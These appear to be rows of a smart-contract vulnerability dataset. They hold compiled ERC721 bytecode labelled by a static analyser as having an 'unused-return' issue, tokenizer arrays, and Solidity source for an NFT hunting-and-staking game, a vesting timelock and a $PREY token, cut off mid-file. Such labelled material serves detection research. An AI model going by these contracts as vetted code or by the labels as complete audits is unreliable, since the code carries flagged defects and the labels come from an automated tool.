0191505060405180910390f35b610450600480360360608110156103fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f10565b005b61047e6004803603602081101561046857600080fd5b8101908080359060200190929190505050610f30565b6040518082815260200191505060405180910390f35b6104c0600480360360208110156104aa57600080fd5b8101908080359060200190929190505050610f53565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61052e6004803603602081101561051857600080fd5b8101908080359060200190929190505050610f8a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105b26004803603602081101561058657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc1565b6040518082815260200191505060405180910390f35b6105d0611096565b005b6105da611221565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106936004803603602081101561063257600080fd5b810190808035906020019064010000000081111561064f57600080fd5b82018360208201111561066157600080fd5b8035906020019184600183028401116401000000008311171561068357600080fd5b909192939192939050505061124b565b005b61069d61132b565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106dd5780820151818401526020810190506106c2565b50505050905090810190601f16801561070a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6107666004803603604081101561072e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506113cd565b005b61086b6004803603608081101561077e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156107e557600080fd5b8201836020820111156107f757600080fd5b8035906020019184600183028401116401000000008311171561081957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611585565b005b6108996004803603602081101561088357600080fd5b81019080803590602001909291905050506115fd565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108d95780820151818401526020810190506108be565b50505050905090810190601f1680156109065780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6109ed6004803603604081101561092a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561096757600080fd5b82018360208201111561097957600080fd5b8035906020019184600183028401116401000000008311171561099b57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611716565b6040518082815260200191505060405180910390f35b610a0b611756565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a4b578082015181840152602081019050610a30565b50505050905090810190601f168015610a785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610ae860048036036040811015610a9c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117f8565b604051808215151515815260200191505060405180910390f35b610b4460048036036020811015610b1857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061188c565b005b6000806000837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff169050919050565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c455780601f10610c1a57610100808354040283529160200191610c45565b820191906000526020600020905b815481529060010190602001808311610c2857829003601f168201915b5050505050905090565b6000610c5a82611a9c565b610caf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180612f53602c913960400191505060405180910390fd5b6006600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610cf582610f8a565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806130036021913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610d9b611ab9565b73ffffffffffffffffffffffffffffffffffffffff161480610dca5750610dc981610dc4611ab9565b6117f8565b5b610e1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180612ea66038913960400191505060405180910390fd5b610e298383611ac1565b505050565b6000610e3a6002611b7a565b905090565b610e50610e4a611ab9565b82611b8f565b610ea5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806130246031913960400191505060405180910390fd5b610eb0838383611c83565b505050565b6000610f0882600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020611ec690919063ffffffff16565b905092915050565b610f2b83838360405180602001604052806000815250611585565b505050565b600080610f47836002611ee090919063ffffffff16565b50905080915050919050565b6000610f8382604051806060016040528060298152602001612f08602991396004611f0f9092919063ffffffff16565b9050919050565b6000610fba82604051806060016040528060298152602001612f08602991396002611f0f9092919063ffffffff16565b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611048576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612ede602a913960400191505060405180910390fd5b61108f600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020611f2e565b9050919050565b61109e611ab9565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611160576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611253611ab9565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611315576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8181600c9190611326929190612cb6565b505050565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113c35780601f10611398576101008083540402835291602001916113c3565b820191906000526020600020905b8154815290600101906020018083116113a657829003601f168201915b5050505050905090565b6113d5611ab9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611476576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f4552433732313a20617070726f766520746f2063616c6c65720000000000000081525060200191505060405180910390fd5b8060076000611483611ab9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611530611ab9565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051808215151515815260200191505060405180910390a35050565b611596611590611ab9565b83611b8f565b6115eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806130246031913960400191505060405180910390fd5b6115f784848484611f43565b50505050565b606061160882611a9c565b61165d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180612fd4602f913960400191505060405180910390fd5b6060600a60008481526020019081526020016000208054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117065780601f106116db57610100808354040283529160200191611706565b820191906000526020600020905b8154815290600101906020018083116116e957829003601f168201915b5050505050905080915050919050565b60008061173660016117286002611b7a565b611fb590919063ffffffff16565b9050611742848261203d565b61174c8184612248565b8091505092915050565b6060600c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156117ee5780601f106117c3576101008083540402835291602001916117ee565b820191906000526020600020905b8154815290600101906020018083116117d157829003601f168201915b5050505050905090565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611894611ab9565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611956576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119dc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e306026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000611ab28260026122d290919063ffffffff16565b9050919050565b600033905090565b816006600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611b3483610f8a565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611b88826000016122ec565b9050919050565b6000611b9a82611a9c565b611bef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180612e7a602c913960400191505060405180910390fd5b6000611bfa83610f8a565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611c6957508373ffffffffffffffffffffffffffffffffffffffff16611c5184610c4f565b73ffffffffffffffffffffffffffffffffffffffff16145b80611c7a5750611c7981856117f8565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611ca382610f8a565b73ffffffffffffffffffffffffffffffffffffffff1614611d0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180612fab6029913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612e566024913960400191505060405180910390fd5b611da08383836122fd565b611dab600082611ac1565b611dfc81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061230290919063ffffffff16565b50611e4e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061231c90919063ffffffff16565b50611e65818360026123369092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000611ed5836000018361236b565b60001c905092915050565b600080600080611ef386600001866123ee565b915091508160001c8160001c8090509350935050509250929050565b6000611f22846000018460001b84612487565b60001c90509392505050565b6000611f3c8260000161257d565b9050919050565b611f4e848484611c83565b611f5a8484848461258e565b611faf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180612dfe6032913960400191505060405180910390fd5b50505050565b600080828401905083811015612033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4552433732313a206d696e7420746f20746865207a65726f206164647265737381525060200191505060405180910390fd5b6120e981611a9c565b1561215c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000081525060200191505060405180910390fd5b612168600083836122fd565b6121b981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002061231c90919063ffffffff16565b506121d0818360026123369092919063ffffffff16565b506121e7813360046123369092919063ffffffff16565b50808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b61225182611a9c565b6122a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180612f7f602c913960400191505060405180910390fd5b80600a600084815260200190815260200160002090805190602001906122cd929190612d36565b505050565b60006122e4836000018360001b6127d3565b905092915050565b600081600001805490509050919050565b505050565b6000612314836000018360001b6127f6565b905092915050565b600061232e836000018360001b6128de565b905092915050565b6000612362846000018460001b8473ffffffffffffffffffffffffffffffffffffffff1660001b61294e565b90509392505050565b6000818360000180549050116123cc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612ddc6022913960400191505060405180910390fd5b8260000182815481106123db57fe5b9060005260206000200154905092915050565b60008082846000018054905011612450576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612f316022913960400191505060405180910390fd5b600084600001848154811061246157fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b6000808460010160008581526020019081526020016000205490506000811415839061254e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156125135780820151818401526020810190506124f8565b50505050905090810190601f1680156125405780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5084600001600182038154811061256157fe5b9060005260206000209060020201600101549150509392505050565b600081600001805490509050919050565b60006125af8473ffffffffffffffffffffffffffffffffffffffff16612a2a565b6125bc57600190506127cb565b606061275263150b7a0260e01b6125d1611ab9565b888787604051602401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612681578082015181840152602081019050612666565b50505050905090810190601f1680156126ae5780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051806060016040528060328152602001612dfe603291398773ffffffffffffffffffffffffffffffffffffffff16612a759092919063ffffffff16565b9050600081806020019051602081101561276b57600080fd5b8101908080519060200190929190505050905063150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614925050505b949350505050565b600080836001016000848152602001908152602001600020541415905092915050565b600080836001016000848152602001908152602001600020549050600081146128d2576000600182039050600060018660000180549050039050600086600001828154811061284157fe5b906000526020600020015490508087600001848154811061285e57fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061289657fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506128d8565b60009150505b92915050565b60006128ea8383612a8d565b612943578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050612948565b600090505b92915050565b60008084600101600085815260200190815260200160002054905060008114156129f557846000016040518060400160405280868152602001858152509080600181540180825580915050600190039060005260206000209060020201600090919091909150600082015181600001556020820151816001015550508460000180549050856001016000868152602001908152602001600020819055506001915050612a23565b82856000016001830381548110612a0857fe5b90600052602060002090600202016001018190555060009150505b9392505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f9150808214158015612a6c57506000801b8214155b92505050919050565b6060612a848484600085612ab0565b90509392505050565b600080836001016000848152602001908152602001600020541415905092915050565b6060612abb85612a2a565b612b2d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b60208310612b7d5780518252602082019150602081019050602083039250612b5a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114612bdf576040519150601f19603f3d011682016040523d82523d6000602084013e612be4565b606091505b50915091508115612bf9578092505050612cae565b600081511115612c0c5780518082602001fd5b836040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612c73578082015181840152602081019050612c58565b50505050905090810190601f168015612ca05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612cf757803560ff1916838001178555612d25565b82800160010185558215612d25579182015b82811115612d24578235825591602001919060010190612d09565b5b509050612d329190612db6565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612d7757805160ff1916838001178555612da5565b82800160010185558215612da5579182015b82811115612da4578251825591602001919060010190612d89565b5b509050612db29190612db6565b5090565b612dd891905b80821115612dd4576000816000905550600101612dbc565b5090565b9056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e64734552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734552433732313a207472616e7366657220746f20746865207a65726f20616464726573734552433732313a206f70657261746f7220717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c4552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e64734552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732314d657461646174613a2055524920736574206f66206e6f6e6578697374656e7420746f6b656e4552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e4552433732314d657461646174613a2055524920717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76616c20746f2063757272656e74206f776e65724552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564a2646970667358221220029affbe10403da77587ac12630eb5e10ff490c097fe8fb9460266fe6c9e6a5a64736f6c63430006060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
27009,
2475,
2497,
2683,
2575,
2497,
18139,
2278,
11329,
24434,
26976,
2549,
2497,
2683,
2475,
2050,
19841,
22203,
2683,
2509,
2497,
2683,
2278,
2575,
18939,
21084,
2487,
4215,
2487,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
28177,
2078,
1013,
6123,
1012,
14017,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,514 | 0x95431F1B171a728408C83eAfa4F4c606740CA7ba | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./Mintor.sol";
import "./Forest.sol";
import "./Prey.sol";
import "./HunterHound.sol";
contract HunterGame is Mintor, Forest, Ownable {
// swtich to turn on/off the game
bool _paused = true;
// take back staked tokens using rescue() function in rescue mode, rescue mode happens when the code turns buggy
bool _rescueEnabled = false;
// switch to turn on/off the whitelist
bool public _whitelistEnabled = true;
// ERC20 contract
Prey public prey;
// ERC721 contract
HunterHound public hunterHound;
constructor(address prey_, address hunterHound_) {
prey = Prey(prey_);
hunterHound = HunterHound(hunterHound_);
}
/**
* return main information of the game
*/
function getGameStatus() public view
returns(
bool paused, uint phase, uint minted, uint requested,
uint hunterMinted, uint houndMinted,
uint hunterStaked, uint houndStaked,
uint totalClaimed, uint totalBurned,
uint houndsCaptured, uint maxTokensByCurrentPhase ) {
paused = _paused;
phase = currentPhase();
minted = Mintor.minted;
requested = Mintor.requested;
hunterMinted = Mintor.hunterMinted;
houndMinted = minted - hunterMinted;
hunterStaked = Forest.hunterStaked;
houndStaked = Forest.houndStaked;
totalClaimed = Forest.totalClaimed;
totalBurned = Forest.totalBurned;
houndsCaptured = Forest.houndsCaptured;
maxTokensByCurrentPhase = currentPhaseAmount();
}
/**
* return phase number of the game by recorded mint requests
*/
function currentPhase() public view returns(uint p) {
uint[4] memory amounts = [PHASE1_AMOUNT,PHASE2_AMOUNT,PHASE3_AMOUNT,PHASE4_AMOUNT];
for (uint i = 0; i < amounts.length; i++) {
p += amounts[i];
if (requested < p) {
return i+1;
}
}
}
/**
* get target total number of mints in current phase by recorded mint requests
*/
function currentPhaseAmount() public view returns(uint p) {
uint[4] memory amounts = [PHASE1_AMOUNT,PHASE2_AMOUNT,PHASE3_AMOUNT,PHASE4_AMOUNT];
for (uint256 i = 0; i < amounts.length; i++) {
p += amounts[i];
if (requested < p) {
return p;
}
}
}
/**
* check whether the address has enough ETH or $PREY balance to mint in the wallet and validity of the number of mints
*/
function mintPrecheck(uint amount) private {
uint phaseAmount = currentPhaseAmount();
// make sure preciseness of mints in every phase
require(amount > 0 && amount <= 50 && (requested % phaseAmount) <= ((requested + amount - 1) % phaseAmount) , "Invalid mint amount");
require(requested + amount <= MAX_TOKENS, "All tokens minted");
uint phase = currentPhase();
if (phase == 1) {
require(msg.value == MINT_PRICE * amount, "Invalid payment amount");
} else {
require(msg.value == 0, "Only prey");
uint totalMintCost;
if (phase == 2) {
totalMintCost = MINT_PHASE2_PRICE;
} else if (phase == 3) {
totalMintCost = MINT_PHASE3_PRICE;
} else {
totalMintCost = MINT_PHASE4_PRICE;
}
prey.burn(msg.sender, totalMintCost * amount);
}
}
/************** MINTING **************/
/**
* security check and execute `Mintor._request()` function
*/
function requestMint(uint amount) external payable {
require(tx.origin == msg.sender, "No Access");
if (_paused) {
require(_whitelistEnabled, 'Paused');
}
mintPrecheck(amount);
Mintor._request(msg.sender, amount);
}
/**
* security check and execute `Mintor._receive()` function
*/
function mint() external {
require(tx.origin == msg.sender, "No Access");
Mintor._receive(msg.sender, hunterHound);
}
/**
* execute `Mintor._mintRequestState()` function
*/
function mintRequestState(address requestor) external view returns (uint blockNumber, uint amount, uint state, uint open, uint timeout) {
return _mintRequestState(requestor);
}
/************** Forest **************/
/**
* return all holders' stake history
*/
function stakesByOwner(address owner) external view returns(Stake[] memory) {
return stakes[owner];
}
/**
* security check and execute `Forest._stake()` function
*/
function stakeToForest(uint256[][] calldata paris) external whenNotPaused {
require(tx.origin == msg.sender, "No Access");
Forest._stake(msg.sender, paris, hunterHound);
}
/**
* security check and execute `Forest._claim()` function
*/
function claimFromForest() external whenNotPaused {
require(tx.origin == msg.sender, "No Access");
Forest._claim(msg.sender, prey);
}
/**
* security check and execute `Forest._requestGamble()` function
*/
function requestGamble(uint action) external whenNotPaused {
require(tx.origin == msg.sender, "No Access");
Forest._requestGamble(msg.sender, action);
}
/**
* ζ§θ‘ `Forest._gambleRequestState()`
*/
function gambleRequestState(address requestor) external view returns (uint blockNumber, uint action, uint state, uint open, uint timeout) {
return Forest._gambleRequestState(requestor);
}
/**
* security check and execute `Forest._unstake()` function
*/
function unstakeFromForest() external whenNotPaused {
require(tx.origin == msg.sender, "No Access");
Forest._unstake(msg.sender, prey, hunterHound);
}
/**
* security check and execute `Forest._rescue()` function
*/
function rescue() external {
require(tx.origin == msg.sender, "No Access");
require(_rescueEnabled, "Rescue disabled");
Forest._rescue(msg.sender, hunterHound);
}
/************** ADMIN **************/
/**
* allows owner to withdraw funds from minting
*/
function withdraw() external onlyOwner {
require(address(this).balance > 0, "No balance available");
payable(owner()).transfer(address(this).balance);
}
/**
* when the game is not paused
*/
modifier whenNotPaused() {
require(_paused == false, "Pausable: paused");
_;
}
/**
* pause/run the game
*/
function setPaused(bool paused_) external onlyOwner {
_paused = paused_;
}
/**
* turn on/off rescue mode
*/
function setRescueEnabled(bool rescue_) external onlyOwner {
_rescueEnabled = rescue_;
}
/**
* turn on/off whitelist
*/
function setWhitelistEnabled(bool whitelistEnabled_) external onlyOwner {
_whitelistEnabled = whitelistEnabled_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import './Prey.sol';
/**
* Useful for simple vesting schedules like "developers get their tokens
* after 2 years".
*/
contract TokenTimelock {
// ERC20 basic token contract being held
Prey private immutable _token;
// beneficiary of tokens after they are released
address private immutable _beneficiary;
// timestamp when token release is enabled
uint256 private immutable _releaseTime;
//a vesting duration to release tokens
uint256 private immutable _releaseDuration;
//record last withdraw time, through which calculate the total withdraw amount
uint256 private lastWithdrawTime;
//total amount of tokens to release
uint256 private immutable _totalToken;
constructor(
Prey token_,
address beneficiary_,
uint256 releaseTime_,
uint256 releaseDuration_,
uint256 totalToken_
) {
require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time");
_token = token_;
_beneficiary = beneficiary_;
_releaseTime = releaseTime_;
lastWithdrawTime = _releaseTime;
_releaseDuration = releaseDuration_;
_totalToken = totalToken_;
}
/**
* @return the token being held.
*/
function token() public view virtual returns (Prey) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view virtual returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time");
uint256 amount = token().balanceOf(address(this));
uint256 releaseAmount = (block.timestamp - lastWithdrawTime) * _totalToken / _releaseDuration;
require(amount >= releaseAmount, "TokenTimelock: no tokens to release");
lastWithdrawTime = block.timestamp;
token().transfer(beneficiary(), releaseAmount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import './TokenTimelock.sol';
/**
* $PREY token contract
*/
contract Prey is ERC20, Ownable {
// a mapping from an address to whether or not it can mint / burn
mapping(address => bool) public controllers;
// the total amount allocated for developers
uint constant developerTokenAmount = 600000000 ether;
// the total amount allocated for community rewards
uint constant communityTokenAmount = 2000000000 ether;
// the total amount of tokens staked in the forest to yeild
uint constant forestTokenAmount = 2400000000 ether;
// the amount of $PREY tokens community has yielded
uint mintedByCommunity;
// the amount of $PREY tokens staked and yielded in the forest
uint mintedByForest;
/**
* Contract constructor function
* @param developerAccount The address that receives locked $PREY rewards for developers, in total 600 million
*/
constructor(address developerAccount) ERC20("Prey", "PREY") {
// create contract to lock $PREY token for 2 years (732 days in total) for developers, after which there is a 10 months(300 days in total) vesting schedule to release 600 million tokens
TokenTimelock timelock = new TokenTimelock(this, developerAccount, block.timestamp + 732 days, 300 days, developerTokenAmount);
_mint(address(timelock), developerTokenAmount);
controllers[_msgSender()] = true;
}
/**
* the function mints $PREY tokens to community members, effectively controls maximum yields
* @param account mint $PREY to account
* @param amount $PREY amount to mint
*/
function mintByCommunity(address account, uint256 amount) external {
require(controllers[_msgSender()], "Only controllers can mint");
require(mintedByCommunity + amount <= communityTokenAmount, "No mint out");
mintedByCommunity = mintedByCommunity + amount;
_mint(account, amount);
}
/**
* the function mints $PREY tokens to community members, effectively controls maximum yields
